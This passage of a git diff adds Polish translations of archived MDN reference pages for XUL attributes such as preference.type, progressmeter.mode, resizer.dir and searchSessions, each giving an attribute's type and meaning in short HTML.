+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/preference.name">name</a>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Nazwa preferencji do zmiany. Na przykład strona startowa przeglądarki jest ustawiona z preferencją <code>browser.startup.homepage</code>.
+</dd></dl>
+<div class="noinclude">
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/XUL/Atrybut/name">name</a>
+</li></ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/preference.type/index.html b/files/pl/mozilla/tech/xul/atrybut/preference.type/index.html
new file mode 100644
index 0000000000..9476ffe0b8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/preference.type/index.html
@@ -0,0 +1,23 @@
+---
+title: preference.type
+slug: Mozilla/Tech/XUL/Atrybut/preference.type
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/preference.type
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/preference.type">type</a>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Typ preferencji, która powinna posiadać jedną z poniższych wartości:
+</dd></dl>
+<ul><li> <code>bool</code>: Ustawienie logicznej wartości, jednej z dwóch; <code>true</code> lub <code>false</code>. Zazwyczaj <code><a href="/pl/docs/Mozilla/Tech/XUL/checkbox" title="checkbox">checkbox</a></code> będzie połączony z tą preferencją. </li><li> <code>int</code>: Liczba całkowita.
+</li><li> <code>string</code>: Łańcuch znakowy. </li><li> <code>unichar</code>: Łańcuch znaków Unicode.
+</li><li> <code>wstring</code>: Zlokalizowany łańcuch znaków. W tej sytuacji będzie zapisana ścieżka do pliku preferencji, która stanowi aktualną wartość preferencji.
+</li><li> <code>file</code>: Plik. Ścieżka pliku będzie przechowywana we preferencjach.
+</li></ul>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/preference/index.html b/files/pl/mozilla/tech/xul/atrybut/preference/index.html
new file mode 100644
index 0000000000..a708d4f1e6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/preference/index.html
@@ -0,0 +1,18 @@
+---
+title: preference
+slug: Mozilla/Tech/XUL/Atrybut/preference
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/preference
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-preference"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference">preference</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Łączy dany element z odpowiadającym mu elementem <code><a href="/pl/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code>. Atrybut ten ma skutek tylko wewnątrz okna <code><a href="/pl/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code>. Wartość opcji (z elementu <code>preference</code>) zostanie zaktualizowana zgodnie z wartością własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/value">value</a></span></code> tego elementu.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/prefpane.selected/index.html b/files/pl/mozilla/tech/xul/atrybut/prefpane.selected/index.html
new file mode 100644
index 0000000000..a7836d5300
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/prefpane.selected/index.html
@@ -0,0 +1,28 @@
+---
+title: prefpane.selected
+slug: Mozilla/Tech/XUL/Atrybut/prefpane.selected
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/prefpane.selected
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/prefpane.selected">selected</a></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ten atrybut będzie ustawiony na <code>true</code> dla aktualnie zaznaczonego <code><a href="/pl/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code>. Do zmiany okna zastosuj metodę <span id="m-showPane"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/showPane">showPane</a></code></span> w elemntach <code><a href="/pl/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code>.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><a href="pl/XUL/Atrybut/selected">selected</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/prefpane.src/index.html b/files/pl/mozilla/tech/xul/atrybut/prefpane.src/index.html
new file mode 100644
index 0000000000..befe65f0cd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/prefpane.src/index.html
@@ -0,0 +1,24 @@
+---
+title: prefpane.src
+slug: Mozilla/Tech/XUL/Atrybut/prefpane.src
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/prefpane.src
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/prefpane.src">src</a></dt>
+ <dd>
+ Typ: <i>adres URL nakładki</i></dd>
+ <dd>
+ Adres URL zawartości okna preferencji. Jeśli nie jest określono, zawartość elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code> jest stosowana.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><a href="/pl/docs/XUL/Atrybut/src">src</a></li>
+ </ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/progressmeter.mode/index.html b/files/pl/mozilla/tech/xul/atrybut/progressmeter.mode/index.html
new file mode 100644
index 0000000000..ff2a851496
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/progressmeter.mode/index.html
@@ -0,0 +1,19 @@
+---
+title: progressmeter.mode
+slug: Mozilla/Tech/XUL/Atrybut/progressmeter.mode
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/progressmeter.mode
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/progressmeter.mode">mode</a>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> <code>determined</code> czyli określony <code><a href="/pl/docs/Mozilla/Tech/XUL/progressmeter" title="progressmeter">progressmeter</a></code> możemy zastosować w przypadku, gdzie znamy długość operacji jaka jest wykonywana. <code>undetermined</code> czyli nieokreślony <code><a href="/pl/docs/Mozilla/Tech/XUL/progressmeter" title="progressmeter">progressmeter</a></code> możemy zastosować do do operacji, w której nie możemy określić czasu jej przebiegu i zazwyczaj będzie wyświetlony jako słupek. <span class="comment">'''as a spinning barber pole.'''</span>
+</dd></dl>
+<ul><li> <code>determined</code>: Stosujemy do określania wartości (liczby) atrybutu paska postępu określonego, która jest następnie wyświetlona. </li><li> <code>undetermined</code>: Pasek postępu jest nieokreślony.
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/progressmeter.value/index.html b/files/pl/mozilla/tech/xul/atrybut/progressmeter.value/index.html
new file mode 100644
index 0000000000..2dc3b4ce38
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/progressmeter.value/index.html
@@ -0,0 +1,16 @@
+---
+title: progressmeter.value
+slug: Mozilla/Tech/XUL/Atrybut/progressmeter.value
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/progressmeter.value
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/progressmeter.value">value</a>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Zakres liczbowy od 0 do 100, który wyświetla postęp. Dla przykładu, ustaw wartość na "0", która pokaże pusty pasek. Natomiast ustawiając wartość na "100" zobaczymy wypełnienie całej długości paska, a wartość ustawiona na "25" zajmie jedną czwartą paska. Znaki po liczbie są ignorowane. </dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/properties/index.html b/files/pl/mozilla/tech/xul/atrybut/properties/index.html
new file mode 100644
index 0000000000..206a76863d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/properties/index.html
@@ -0,0 +1,21 @@
+---
+title: properties
+slug: Mozilla/Tech/XUL/Atrybut/properties
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/properties
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-properties"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/properties">properties</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ lista własności nazwy oddzielona separatorem</i>
+ </dd>
+ <dd>
+ Ustawia własności elementu, który stosujemy do stylu elementu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/readonly/index.html b/files/pl/mozilla/tech/xul/atrybut/readonly/index.html
new file mode 100644
index 0000000000..fbc0a2aae7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/readonly/index.html
@@ -0,0 +1,15 @@
+---
+title: readonly
+slug: Mozilla/Tech/XUL/Atrybut/readonly
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/readonly
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-readonly"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/readonly">readonly</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ustawiony jest na <code>true</code>, to użytkownik nie będzie mógł zmienić wartości elementu. Jednakże wartość wciąż może zostać zmodyfikowana poprzez skrypt.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/ref/index.html b/files/pl/mozilla/tech/xul/atrybut/ref/index.html
new file mode 100644
index 0000000000..4e52cf62cd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/ref/index.html
@@ -0,0 +1,16 @@
+---
+title: ref
+slug: Mozilla/Tech/XUL/Atrybut/ref
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Attribute/ref
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code></dt>
+ <dd>Typ:<em>URI źródła RDF</em></dd>
+ <dd>Dla szablonowo generowanych elementów, ten atrybut jest stosowany do określenia korzenia (węzła głównego) RDF, gdzie rozpoczyna się generowanie zawartości. Będzie ona przesyłana do wartości.<strong> This will correspond to the value of an about attribute on an RDF container. This attribute should be placed alongside the datasources attribute.</strong></dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/removeelement/index.html b/files/pl/mozilla/tech/xul/atrybut/removeelement/index.html
new file mode 100644
index 0000000000..947a1f3c52
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/removeelement/index.html
@@ -0,0 +1,21 @@
+---
+title: removeelement
+slug: Mozilla/Tech/XUL/Atrybut/removeelement
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/removeelement
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu</i>
+ </dd>
+ <dd>
+ Kiedy umieszczony na elemencie w nakładce <code><a href="/pl/docs/Mozilla/Tech/XUL/overlay" title="overlay">overlay</a></code>, to sygnalizuje, który element w bazowym pliku powinien być usunięty z okna.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/resizeafter/index.html b/files/pl/mozilla/tech/xul/atrybut/resizeafter/index.html
new file mode 100644
index 0000000000..f49901fc4e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/resizeafter/index.html
@@ -0,0 +1,32 @@
+---
+title: resizeafter
+slug: Mozilla/Tech/XUL/Atrybut/resizeafter
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Attribute/resizeafter
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><code id="a-resizeafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/resizeafter">resizeafter</a></code></dt>
+</dl>
+
+<dl>
+ <dd>Typ:<em>jedna z poniższych wartości</em></dd>
+ <dd>Ten atrybut sygnalizuje, który element po prawej lub poniżej rozdzielacza (<code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code>) powinien zmienić rozmiar, kiedy rozdzielacz zmienia swoje położenie.</dd>
+</dl>
+
+<ul>
+ <li><code>closest</code>: Element zmienia swój rozmiar natychmiast do prawej lub do dołu po zmianie położenia rozdzielacza.</li>
+ <li><code>farthest</code>: Element, który jest najdalej od rozdzielacza po prawej lub poniżej zmienia swój rozmiar po zmianie położenia rozdzielacza.</li>
+ <li><code>grow</code>: Element po prawej lub poniżej rozdzielacza nie zmienia rozmiaru (chyba, że są elastyczne), kiedy rozdzielacz jest przeciągany, lecz natomiast cały kontener zmienia rozmiar.</li>
+ <li><code>flex</code>: The closest flexible element resizes. </li>
+</ul>
+
+<div class="noinclude">
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+
+<p><code id="a-resizebefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/resizebefore">resizebefore</a></code></p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/resizebefore/index.html b/files/pl/mozilla/tech/xul/atrybut/resizebefore/index.html
new file mode 100644
index 0000000000..a59c601ece
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/resizebefore/index.html
@@ -0,0 +1,25 @@
+---
+title: resizebefore
+slug: Mozilla/Tech/XUL/Atrybut/resizebefore
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/resizebefore
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-resizebefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/resizebefore">resizebefore</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ jedna wartość z poniższych</i>
+ </dd>
+ <dd>
+ Ten atrybut sygnalizuje, który element po lewej lub powyżej rozdzielacza (<code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code>) powinien zmienić rozmiar, kiedy rozdzielacz zmienia swoje położenie.</dd>
+</dl>
+<ul>
+ <li><code>closest</code>: Element zmienia swój rozmiar natychmiast do lewej lub do góry po zmianie położenia rozdzielacza.</li>
+ <li><code>farthest</code>: Element, który jest najdalej od rozdzielacza po lewej lub powyżej zmienia swój rozmiar po zmianie położenia rozdzielacza.</li>
+</ul>
diff --git a/files/pl/mozilla/tech/xul/atrybut/resizer.dir/index.html b/files/pl/mozilla/tech/xul/atrybut/resizer.dir/index.html
new file mode 100644
index 0000000000..53f9b69a51
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/resizer.dir/index.html
@@ -0,0 +1,26 @@
+---
+title: resizer.dir
+slug: Mozilla/Tech/XUL/Atrybut/resizer.dir
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/resizer.dir
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/resizer.dir">dir</a>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Kierunek w którym zmienia się rozmiar okna. </dd></dl>
+<ul><li> <code>left</code>: Zmiana rozmiaru do lewej strony.
+</li><li> <code>right</code>: Zmiana rozmiaru do prawej strony.
+</li><li> <code>top</code>: Zmiana rozmiaru do góry.
+</li><li> <code>bottom</code>: Zmiana rozmiaru do dołu.
+</li><li> <code>bottomleft</code>: Zmiana rozmiaru do dołu i do lewej.
+</li><li> <code>bottomright</code>: Zmiana rozmiaru do dołu i do prawej.
+</li><li> <code>topleft</code>: Zmiana rozmiaru do góry i do lewej.
+</li><li> <code>topright</code>: Zmiana rozmiaru do góry i prawej.
+</li></ul>
+<div class="noinclude">
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>
+</li></ul>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/rows/index.html b/files/pl/mozilla/tech/xul/atrybut/rows/index.html
new file mode 100644
index 0000000000..9fede72cce
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/rows/index.html
@@ -0,0 +1,21 @@
+---
+title: rows
+slug: Mozilla/Tech/XUL/Atrybut/rows
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/rows
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-rows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/rows">rows</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba wierszy do wyświetlenia w elemencie. Jeśli w elemencie znajduje się więcej niż ta liczba wierszy, pojawi się pasek przewijania, który użytkownik może zastosować do przewijania do innych wierszy. Aby pobrać aktualną liczbę wierszy w elemencie, zastosuj metodę <span id="m-getRowCount"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getRowCount">getRowCount</a></code></span>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/screenx/index.html b/files/pl/mozilla/tech/xul/atrybut/screenx/index.html
new file mode 100644
index 0000000000..56c22ec003
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/screenx/index.html
@@ -0,0 +1,21 @@
+---
+title: screenX
+slug: Mozilla/Tech/XUL/Atrybut/screenX
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/screenX
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-screenX"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/screenX">screenX</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pozioma pozycja, w którym miejscu pojawi się w oknie na ekranie.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/screeny/index.html b/files/pl/mozilla/tech/xul/atrybut/screeny/index.html
new file mode 100644
index 0000000000..d550a1abf7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/screeny/index.html
@@ -0,0 +1,18 @@
+---
+title: screenY
+slug: Mozilla/Tech/XUL/Atrybut/screenY
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/screenY
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-screenY"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/screenY">screenY</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Pionowe położenie, w którym pojawia się okno na ekranie.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/script.src/index.html b/files/pl/mozilla/tech/xul/atrybut/script.src/index.html
new file mode 100644
index 0000000000..7a8c0c0cad
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/script.src/index.html
@@ -0,0 +1,17 @@
+---
+title: script.src
+slug: Mozilla/Tech/XUL/Atrybut/script.src
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/script.src
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/script.src">src</a>
+</dt><dd> Typ: <i>URL</i>
+</dd><dd> Adres URL skryptu.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/script.type/index.html b/files/pl/mozilla/tech/xul/atrybut/script.type/index.html
new file mode 100644
index 0000000000..70b8fbe7c1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/script.type/index.html
@@ -0,0 +1,21 @@
+---
+title: script.type
+slug: Mozilla/Tech/XUL/Atrybut/script.type
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/script.type
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/script.type">type</a></dt>
+ <dd>
+ Typ:
+ <i>
+ Typ zawartości językowej</i>
+ </dd>
+ <dd>
+ Język skryptu. Zazwyczaj, będziemy ustawiać go na <code>application/x-javascript</code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/searchsessions/index.html b/files/pl/mozilla/tech/xul/atrybut/searchsessions/index.html
new file mode 100644
index 0000000000..04da29c900
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/searchsessions/index.html
@@ -0,0 +1,26 @@
+---
+title: searchSessions
+slug: Mozilla/Tech/XUL/Atrybut/searchSessions
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/searchSessions
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-searchSessions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/searchSessions">searchSessions</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ lista nazw sesji rozdzielona spacją</i>
+ </dd>
+ <dd>
+ Ustawia słowo kluczowe sygnalizując jakiego typu dane są szukane dla autouzupełnienia. Możemy ustawić wiele typów poprzez rozdzielenie ich nazw spacją. Następujące wartości są możliwe, mimo że komponenty użytkownika mogą być zainstalowane, które dodają inne.</dd>
+</dl>
+<ul>
+ <li><code>history</code>: Przeszukana jest historia adresów URL użytkownika.</li>
+ <li><code>addrbook</code>: Przeszukana jest książka adresowa użytkownika.</li>
+ <li><code>ldap</code>: Przeszukany jest katalog LDAP użytkownika.</li>
+</ul>
diff --git a/files/pl/mozilla/tech/xul/atrybut/selected/index.html b/files/pl/mozilla/tech/xul/atrybut/selected/index.html
new file mode 100644
index 0000000000..5640dc6c5e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/selected/index.html
@@ -0,0 +1,29 @@
+---
+title: selected
+slug: Mozilla/Tech/XUL/Atrybut/selected
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/selected
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Sygnalizuje gdzie element jest zaznaczony lub nie. Ta wartość jest tylko do odczytu. Aby zmienić zaznaczenie, ustaw pozostałe własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedIndex">selectedIndex</a></span></code> lub <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedItem">selectedItem</a></span></code> stanowiące ten element.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><a href="pl/XUL/Atrybut/prefpane.selected">prefpane.selected</a></li>
+ <li><a href="pl/XUL/Atrybut/tab.selected">tab.selected</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/selectedindex/index.html b/files/pl/mozilla/tech/xul/atrybut/selectedindex/index.html
new file mode 100644
index 0000000000..261d77a9c9
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/selectedindex/index.html
@@ -0,0 +1,21 @@
+---
+title: selectedIndex
+slug: Mozilla/Tech/XUL/Atrybut/selectedIndex
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/selectedIndex
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-selectedIndex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selectedIndex">selectedIndex</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia indeks aktualnie zaznaczonego panelu. Pierwsza pozycja jest w indeksie jako 0.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/separator.orient/index.html b/files/pl/mozilla/tech/xul/atrybut/separator.orient/index.html
new file mode 100644
index 0000000000..2067c04438
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/separator.orient/index.html
@@ -0,0 +1,20 @@
+---
+title: separator.orient
+slug: Mozilla/Tech/XUL/Atrybut/separator.orient
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/separator.orient
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/separator.orient">orient</a>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Stosowany do określenia czy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/separator" title="separator">separator</a></code></code> oddziela poziomo czy pionowo. Uważaj, niektóre wartości są odwrotnością tego, co mogłoby się wydawać niemożliwe.
+</dd></dl>
+<ul><li> <code>horizontal</code>: Separator oddziela pionowo umieszczone elementy.
+</li><li> <code>vertical</code>: Separator oddziela poziomo umieszczone elementy. </li></ul>
+<div class="noinclude">
